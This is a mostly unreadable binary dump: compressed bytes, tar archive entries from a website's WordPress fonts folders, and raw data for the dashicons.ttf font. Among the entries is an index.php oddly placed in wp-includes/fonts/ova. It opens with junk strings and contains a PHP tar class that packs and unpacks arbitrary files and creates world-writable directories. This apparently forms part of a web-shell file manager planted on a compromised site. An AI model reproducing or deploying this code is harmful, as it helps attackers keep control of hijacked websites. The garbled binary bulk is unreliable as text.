/ D4vƟeO;z4t'z"눆>BXW-|ɾ_ǠM`pjs AiD>sz y 8D*NOVniqPP$X>zEy?!')*SAYyyu [[rhG qf3ll&s?7Lɕ/$eaggj,Ȍ?dO2k'ͮGȇY-!Xo^Q ։=5ca0)'MdNo+ShnvzCtK{8=x,s 8{=|z#6OK֢sQ- X0Dqt#/3h 4rID^9AR(_fq&cboGy̆ |oΙ5!J]:}\p&5ȲUAhH2>II>BM1\Ǡr>SNjSnEN M$_ "77uNP'}Ӡݐ )(/=zZvu)50 D03W <"Z rqw3NBrA´Ӽ8x.?@auw'yzr~e[? ӑig\hE%~sH:{ao |FQX[G:1Zy,C j=Z_xElLdQq'.&6M1TQIY"j2q"ʼnC P05Hڨ*8(vy;0D/nvM|.w8mW|vB}5ƻwO:\Lu,9iu cx8e,a O-]P/TAӼ`b/AӽlӯdN&8j~o\ 5XB.WXd˖e7VֵYejCz8˼W =ܴJ ޤˬ&%r6m:c<%s]@Žeu6kw[EE`[bٍn;%wƤ+ 0o*&+v/WSz@O @`FSap fUN0]i=(G7sB_M 8Es߄8/b¼kA?69o!L.WStcik'7ԊnrP|\NZ?;dH =[{v0Zgyl4@c?];C aAod}ԐNdJ*Ou,.]ׁ~|Rj'NXy۬9<=6Kω@P4iC0s\E#@ 1ǝYGkuS吅ҷv}SeqD;yx_f2 a)`p X;>4 ӡ ( Hp u*F ' *ơ9'9x U`h}Xs2ھ(X|upBj*B̰& X;,I_D;酐!mLC0 |;y.:dᏵ?ЎW /O@ӊSe1 r+N`c#Hz-ʼcYkb nKx_< ea,JPH7T(|0~4pPӾv(r#+l(h ʀ'4bת`c$9A`2?qg^^'fJ !P)~ arIl`IY1J0lm.%0Bjl'aCdZ{+| k/3ES,L ڷ]MvEv ~}7Z20K!"JG=$ +䗃<('?&Dj8w %NLH }P{MY=(>zIA8dsBtWTjFt{}n0x"Ng\VKUӍz݅‘h,H~<(s_>L >.O97` C|dAD>f~Cyn]+HeHHD–"hp =r [|ęڇ8.5!L<4=1a*$2DB&(ڼbޠ_ ~$%HjPÌ7n&EfRJXVZLh .! z0;A?D[@  d$PC*F  Pg^fG_I=#3@@FUGHlHRNbfDs%1'.G2ǜAK5zcpr9'm}ɒj#Htnu-[x~p peۈoU8%Ȃ2ScpWOT׍+O| ]vU4:l> C$~367;JAzH3Ln3쥃Dm.B3#w_.,[nMvɋ$j:=Tq&% l6f60sH9@+-cXy+ӚZur8yRE>uOGac@fg-04tk |=_-󈉶yas$ ?s4>bQ[dE̓#Р,QӍယuaxGn.teuqᕮI-HƐns<]lOQBx秦޷uc4TLnAG\e,bc+q1eNR-h g^`= 3st,yދٱQ$UGZt?mLɏNd9;2zSa\5韝N *s"6xCsye5::}(8yi^ >1 |4<\ oW==u-[IUJ#Y*`{ըa#޵ׄg-ižf wmKݜFda^7)`RIE_/pԺ0fs Y[[^ ƉeZ]+%Etr!m#k%-)qQ~9 yb;wܝ y5ZzGśS2{14ټ|W0QW)=LF Wyu%Q2mDރW% k\18 g{Rtc 8xØ[L:bgnKWaƻ4I@y ^ >ڙ^;$&sZf(T k^P5Bx6K{ٴ }:dpQJxlr%d.T\`+;y[hF4ah_kvv2$Q*$_ʎc '`RϨ  ȮmD˻WussrȥeItWGAS0#c$;m)ƉC8d;|Љ>os%*x=[w K<ݾ6^<^L8# W |Q+֐M87x K9-H K)sb˻m=6kf~}[  WrEfKJ[G+ Mm֓L^ s\ #O~1a4kH4a#&6(c.X=6}FAaq|>k÷či*g1#)R2k!i!f6pru!$#Ύ[~H8IZHkΗb3OS;G4nN-Z.=[L̾/=:d$> ($Vv͹ZdR24 ^ۗa'̲0xG=üwЈRE:qa6j *X٦-7oM!k'|2U0w!Vy8=A;mͨWXba|dÞcb0"X={_͑ N6r+G'fIn}+qɪoȳ3,ីh`I !+?me|̯|{Ոv(r Qv"Jjѯ>N?{6װIXLaeP[4; lniT2b+?u1SSĬm+wߨO2z-@9umUu>i~-8(s7fN5L mq>%j 5P}ãªmOelR TȔ`NK(#m&n{17]{p,er|FQyk T"֞oh T$QED߅&1y@pP$6˥ ?"i*?#@f֍L P)VY.1"E#i%xa5禊JEYQ!5v{sbQyaUquYX&!a a"ĞDC$cAI02uWS->8EU bپ(`.:2 ]]CH*ҙF]~us:Q.TثHW+_ֻ~ϠnnYf0,N. G2aWI>."hd<ΙE<'1g8.Bg<g-[&BòDYسb"itԃ%& [EmyD(#OwJѨ;\1cCcUnj 4ϫIcUe' |bE !@Ѕ6A^ߙ-Ƣsq6[#6ƔD¢3 p ,n[NjN 07z0 o.*@3Pʊ#(F )a=ڏhƱꅹ3x ld)f!$ Vx[w::| oԜb A\<|'rq\wto?qca~V⍍Ģ{߯漋|YXww>DpLGq z9| Ox͉z=8~0pj+7KpC]Hw5nدgtOh% w5:YĪ][ߝzN`MNTj]m .rK$K5+){;3aq8H[쮏@gev45tӊߝA0.pB[ }>O m{#>index.php.tar000064400000237000150547077430007167 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php000064400000233533150547034730020713 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } dashicons.ttf.tar000064400000162000150547077500010034 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/dashicons.ttf000064400000156110150547064360020775 0ustar00 0GSUB8BOS/2@O%|Vcmap_>$glyfqdE@headf6hhea7H$hmtxPlocalAmaxpo name+_"post#2\,. T_< 66 T  ,DFLTliga fG fPfEd@G.,, <  )9@B )9IIWY`iy )18CG 0@B 0@HPY`bp 03@E<vx"""0BTfnt  4 >JKHILGO. KQ5EF\GW*ZX]g$'.-JR $%p&'() 2M34H[i: OYEAjklmnr6 TRt"#7MSPywvx~}hBCDSQ98 L/0q@P1+N5s76D%&+,()"#:<A@8;=B>??uV*o-z{9/,!U<3{|;INC!bcd^_efa`2=1F  0 V     4 >JKHILG O!!.""##$$ %%&&''(())K**Q++5,,--..E//F0011\2233G44556677W8899*::Z;;X<<]==g>>??@@$AA'BB.CC-DDEEJFFGGRHHIIJJKKLLMMNNOO PPQQ$RR%SSpTTUUVVWWXXYYZZ&[['\\(]])^^ __``aabbccddeeffgghhiijj2kkMll3mm4nnHoo[ppiqq:rr ssttOuuvvYwwExxAyyzzj{{k||l}}m~~nr6 TRt"#7MSPywvx ~ }!!""##$$%%&&h''(())0011223344B55C66D7788S99Q@@BB98 L /0q@P !!1""##+$$N%%&&5''s(())00711622334455667788D99@@%AA&BB+CC,DD(EE)FF"GG#HHIIHH:II<PPAQQ@RR8SS;TT=UUBVV>WW?YY``bbcc?ddueeffgghhiiVppqq*rross-ttzuu{vvww9xx/yy,!U<3{|;I NC!bcd^_ e!!f""a##`$$2%%&&''((=))100113344F556677 88@@AA BB0CCEEFFGGPp0TNnR@">Rx  . @ L ` p | V j  d  @ff lp,&H `v0P<nBt6NfvB"b,d&Rx8f  P t ! !B!"L"""#D###$j$%%,%j%%&h&&''>'~''(P((()).)b)))*D*l**+B++,>,z,--2---.p.../L//0L001 141\1112B22233Z334`44455N556"6d667$7H7^778:8r89969P9j9999:n:; ;~;<<<2<<=N=> >>?(?f???@@r@AA@AABBDBBCCZCCCCD4DDE EDEEEFFTFfFG(GPGhGGH H@HpHHI&IZIIIJJNJJJKK8KLLM@MtMMNN4NNO OZOOPPBPdPPQ Q.Q`QQRRRvRSbST2TXTjT /%'767'7676?676227s& 9 ".   #!  &  .   $    2".4>57\66\n\67\i6\n\66\m]6b32+5#"&=4633 3656'&'&"17>767676676767676  $,$/ 3 #T  ,  -(  #  0%,$    "# '0%#'#5&''7&'#5367'7675373264&"8(6(M(6(77(6'M(6'8 --@--'6(77(6(L(6(88'6(s-@--@- ''753!55#'f4f&'f3("8'764&"&6?>764&67.6?>2'9j .j'99Չ j'89+(8j!-99'j. j9'ډ3j9'+99'j.!*6%54&+'##"3!26'2"&463"&46325#53"&4632M +"f"+   %%5&&̀%5&&Mf3%5&& 33 &5%%5&'%%5&Y%%5&   %)-''7'575#''7''7%#5%#55#!5#mmmgeffL4mmmmfff̀444P``pp;WXZZ4++g__pp__pp3YZZYYZZ@3333'#'7&67>264&"N$0M&M BB'BA U_3%Qz 7!3!33M3M#'767+"&4?547676PS0S d   SSS0S4   c"ZSS!7&'&7676?'76?> //1 .>H H>/1./ 1.>H G>/ 1+G%4&#!"3!26%32+"&=#"&46;5462#"&46;546232+"&5  M             f4  &&Y&& 3T\"2>4..'67&"&'&&7676'32267&'&765&'&'.'&'&676767667>j>>j}j>>j ,   %!  5/   ! I >j}j>>j}j> 3      9!     6* $,'Bl   (0<k"2>4.67#&'&'.'67>76'267&7&'&/..'&'&'&'&&'&6'&'>>j>>j}j>>j       ' W F2  "   #  Ob0>j}j>>j}j>           $  %  .;5 #(.39@ELRX]ci"2>4.3#&75#5'#676#67#6733#&&'&'53=373#675&'3'#&''#63&'673>j>>j}j>>jA7& ]#G&] &A7]R [&iF&\ &A8 8&. 0  - - 1 - 0>j}j>>j}j>#"!P% #"#ErP %cE#"E$!"FE"CO% ON %rE#"E$!""$""!$g$+A$+#,B#* :H"2>4.6'&'&'&'&'>7&'&'>7'.'&7&7&'&'&'&'>j>>j}j>>jh  =.fA    3O" 6   >j}j>>j}j>L,"  # ) >O  P#.&Z+   '"&4?&>7264&"F 6& 2AJHJ &5 E2 JIJ@)"'&'&/&76272"'&/54>3 M F6 #"0S0""5  & &  B/"6@  @5!;&'764'&'764&"'&'7'7>/764&"'764&"'7676Y> .    :Z P.@    a b    >.P Z: "   1 =W ';O5!57>'.5!#'&'5>>.'.>767>'.>767>><4ELc2X 7 -S  R3 (!  A 6- 3Tl41C f  ` 7  a    7    !5!5!!5!Mf33f3f3%!!5!3f3 !5!5#%35#35#!5!MfMMMMf3g333 !5!5!!5!Mff3f3 7#735#35#͙f4̴33 %#'#3#34f4343 !5!35#5##35#!5!MfMMfMMf3333 !5!5!!5!333f3"P[%#"'&326764&7&76327>'672?6'&'54'.#3265>"7#"&54ISo\*h8-U%+' ( "#%, *+(Z  6%'  #  %4  M  #  ' #|  +!%%!!5!3"&46527#53#53#53!5!fg4M-@--:gggggg43fMMM --@-33g4gg !5!!%5#4f44M37'74f33fffg7'3f4'gf3!'7ff4f33fg'7f3Mg%'7Mge75!'7'733ff4f33fg?'73gg͙fge%#'7'4f33f33ffg%''73M?gfM3gM!-767676&'&7>76>76'&   /2o\ <%&@%) $(      A6:3:51*3/S!'-7?'7/'"&462'"&462'73%7'#r4;;43 ;; [*<.'>&5717'7&]2:3\m1$2 * (%TF'-KTF0 .\m>Ms\mc::$2-KTF'-&O2: {{R6 !53'33'33'!5!f@3@3@fg33(5BOk&'&'&'&''&"2?&'&%762'&4&4?62&4?62"7"&4?627.&'&"33264a!  % @ n % 3 Jn n *n nn nm ( $  $$ @ %% o 94 Ps q n* n nFq om * &  %!%265#754&'>7."!5.f{*""+33;#7    7%8' @@&5##5##"!54&#MfM f f4444 7!!"&5463!!"74&"26M -- M >  M3-4-Y3!"&546;#"3!3 --  g-4-9B354636332+"&=#"&=#"&="'"&=#546;5264&"3/ 3 - 3 3/M*  84  44  48  g - $5Bu7656&6&#"3276"2>4."&'.'&4>276&#"3>"767216327>&#"4?672632#"'&'32>4.s] -7_77_n_77_7(G4XhX44X- [&E  !8#,-2/N//Na*7%#}  ,+7_n_77_n_7s5hX44XhX4} ,$  v>{+" , /N^N/ &3<L_2".4>"2>4.2".4>">54&"264&34'&'&'!6'&'&'&'FuEEuuEEuFBpAAppAApB;d;;dvd;;di'!,\,,>,,N    666%  EuuEEuuE AppAAppA;dvd;;dvd;, 1 (,,>,,>,   655$ )Ok4'2674'2654&"26754&"264&'"&=#"&=276767>27>76767".= g ggf1(  (1* " *( * ! 0RbR0     Y  Y  Y  Y /?LL?/8    -o  M//M   #/G#"&46;&546;232!2#!"&46!2#!"&4632++"&547#"&46Z))4  $  >   M  ML-=AEIM4'&/2674'&/2654&+";26754&+";26'7?7?   -   - 3  3  3  3 33333333l    333343/'#'&'&6765.>27&'>7656" 3DC6 #)3- ,>- .5 )`J##K !? a;D;##;D;b@! 2!767676'7'7''70S* f$&__ : 3_X @ KG !n tGI hjNW`n{%"/'&'&'&5"&4?67&547>7#"&4635462354622+>7'264&"7"264&;264'&+"4&+";263264&+"3264&+"-?     ?-#!&  4  ' "" W ED L LYLL@- &  % -@ /: ":*   *:" :/d3  @ ;  3   -=&"2?>&"2?64"/"&4?624'&/;2  =   k  k.     "  =  k  k.   )"'&'7.'76767&327'267'#"'t+&T&+s9&?3 /1v3(#&@@&'R$$K$1 J ~,.- #'+/37;?3!!#53#53#53#53#53#53#53#53#53#53#53#53#53#53#53Mff33g44f3333g44f3333g44f3333g44f33ff3333M33333444443333333333333%.%54'&'&'&#'57'"32767"2>&  )+  !/2F>$' %4% 'O@ ,!MM!,  @{:N00P8''';676?4'&'&'7'"2>&R88/+''+))))$' %4% 'M$$M %>>%)):N00P8GK%&'&'#'7"776?54%267&'&72654'&'&'&'&"'7\\: ".))." %   % j g;;;6^\89HH6E !   '' ,!"3!26=4&#!"&=463!2f  f    !*3<EQZ^!"3!2654&"&462'"&462'"&462"&462'"&462'"&462"&=462'"&4627!5!      M   n!   f \W\W  Z  8WW +/37;?CGKOS3!3546235462#26=4&"26=4&"!7#5;#353#5;#353#5#53#53MfMf    ff3f44g33f44g3344f33@@@@z4444433333333333+/37;3!3546235462#26=4&"26=4&"5!75#35#35#MfM f     ff343g@@@@32#!"&546;73264&"K  j  KMf3*<"264&@  \).@"'8 %2$R$2%  B#! d"36&!%%%%#$  MO7767676'&'6>'&'&/67676&&'&&'&'&''&'3NFKM      $#   !+$ $,( '%("35 !     9     - -( 'H;A"+732#!"&5#"&46;2!#2"&4632"&46  3  M Lf     3g     !!3#3Mf4MM4&/8%>54&"&"'654&"2"&462"&462"&46 * j 6* L   3; '  M %####5#g3f3g3f 1!7&54626327&546327"&='#"' ~l % \ 1U ) R     52'3".4>1R0ʹ1RaS00S0R10S00SaR1-6:>BFJ76"/&4?627&76765.#&#"&4627'7'7'7'71# $~  S$  $B  ~ $2".4>2>4."7/18^77^p^77^8*F**FTF**FsM7^p^77^p^7*FTF**FTF*6R{{  654&#"&#"3!264&'77{<*1  &#,5$%5/R$.a$ *= % 2"$66F4Q$.b$!654&#"&#";5#7#3264&{<*1  &#,5$ZMssLY%5/ *= % 2"$6MssM6F44654&#"&#"3!264&}<*1 &#,5$%5-*=% 2"$66G3$IRx54&'>=46;5#"#2;5#"&&'&'6'.'&765&%"&46274654&+32+32654&4635"&      . .$'S d,    +<76?'5/.   , \./5 ,   \73#3#M͙%7'3]]]]55]]4]]733#MfMMf44 5!5557!'73gg3ggMM&3ML3M&3ML3 7''#37333=\\\{{3{{ 7553#5͚33]4]]{{{{37'#3ggMff&E37'#%#"'&67367654'&'.>##"'&>76764'&'.>33ggE       '       Mff #^#   #6'  (   *  8<!2#!&546!%47676763#!"&=27676762!!8  p     $ 4  ) g   g    3 (09BK7!>54."2"&462"&4632"&467"&4'2"&46!2"&464&"26`@7^p^7 [  V*g > ufB#8^77^8#B4u+7M 0CO264&"7533##5#5467#"".52>=7#".52>=#"'3.'.5f+<=7#".52>=#"'3.'.53264&"7##5#1R0W\1R00RbR00R.1R00RbR0!, \A[0R+<=#"".52>='3.'.53264&"7533'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+<=#"'3.'.5".52>=f+<=#"".52>='3.'.53264&"'7'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+< .?2>4."".52>='".52>='".52>=1R00RbR00R11R00RbR00R11R00RbR00R11R00RbR00RfM  MfM MgMM!$!2+32!546;5#"&5465!73Mf  3  3 X 4  4  紴f 2".4>'7''78^77^p^77^MM3MM3MM3MM7^p^77^p^7MM3MM3MM3MM35!353'35g34MM͚40&'.767676?>327&67626&  JA)   7* !@$7    @ 377/7676!"!$T  $ !!"!$+T  $ #!5#'.#3576&?f3d! g@q)3C!͚f @q) ?677'dE ͏=gE P 5#5!5#5!f33f33g33f33 5#5!5#5!3ff33f33g33f33 5#5!5#5!f33f33g33f3332654&'5>54&#532#32+t5=;C#')8+3-!&',)J'8*3!'733怀MgfM '77'7ffMfffff4ff47'7#7!75#35'!'3:: f `f` f :: f `` fS`` g 99 g `f` g 99 g$235#67654&"#35&'&'&54613*^%UT%] 3v751#33"'/DOPC/'!33 !157 3#3'735'75!#7'g8aga8";aga;3ffa9Gf9aG!_9ff9_ %.4."2>'#5467>4&#"'632&462"0RbR00RbR0(   !%%&1R00RbR00R   ! O "53753355#%53535335353Mff3ff3泳fM33M3ZY3333M44L33M33 5!5#35#35#5!MMfMMMffg444444ff #3#737#73z6H66H6f334 !!!!!!!!3ffff3334333 #'+/37;?!55!7#53#53#53#53#5!55!7#53#53#53#5#5!#53#54fM33433f4fM334̀33͚ffM4444444444ͳ33333333L444444!$#";2654622653264&7M 55  5?5  3   Mgf#S\`dh6235#767654'&/&""#6򥊢'&#"632632+32#"'"'26542735#35#35#35#)H,  1        '3! )       #Of ' (,RV5#?73#5#5767>4.">273#4&#">32+32#"&'32654&'5>3#! I ,    f!      !Mf  E3   2K   "5#5##553%5#5#5##5#5#ff3ff3泳fM3333ZY3333M44L33M33!#";2654622653264& 55  5@5  3   M$,!57264&"732#!"&546;!55#335=CD< '   '44L4MMM  3 <<44$1!57264&"4&+!57#"3!26'#'#'3737=CD<  ''  f M335134MMM3 <= ش'74'&'&&67'32674'&'&&67'326 -##;#)2%!+ -##;#)1& +F24;C/7'!F24;C/7'$"/&=4?62764/&"2n-9-7768677!$#";2654622653264&5M 55  5?5  3   Mf/7=EK27&"3275#"&463'#373732654&'5>54&#532##76732+7''  -"$! 9:;67  n,df $&)8+o @+  ( $  MNAGORZ%267#"'&'#+5##'##7#53733532367>2.#"3#%3/73>4&#1#3+3264  !7$:".- ! .   KK p k,1 @@++@@@@      U* D+  %!!5!#53#53#53#53fg4Mf3444333 %3#373'#7S0i4f0k R&M'} "&"&46273#"&46273#"&46273# 0@ 0@ 0M  3  3  3g#"'&=#27655#f3$63y%'#- ''-33!58;>'?64&"'6?>'3''7.6?27'#'7'' 6+' .= '99͚4f3ͽ#89+$<'!-͚4f399' *'. ?7 'Agf3<$+98#(-!gf3 #'+/37;?CGK##5#3533#5!#5#5#5!#5#5!#5#5!#5#5#5!#5#5!#5#5!#5MMMMf33334"&462%"264&#"264&**3*******-%54&#!"3!26'"/'"'&?'.7676g!hd p67p dh  `h_11_h`  7%>=4&'&7>7>4  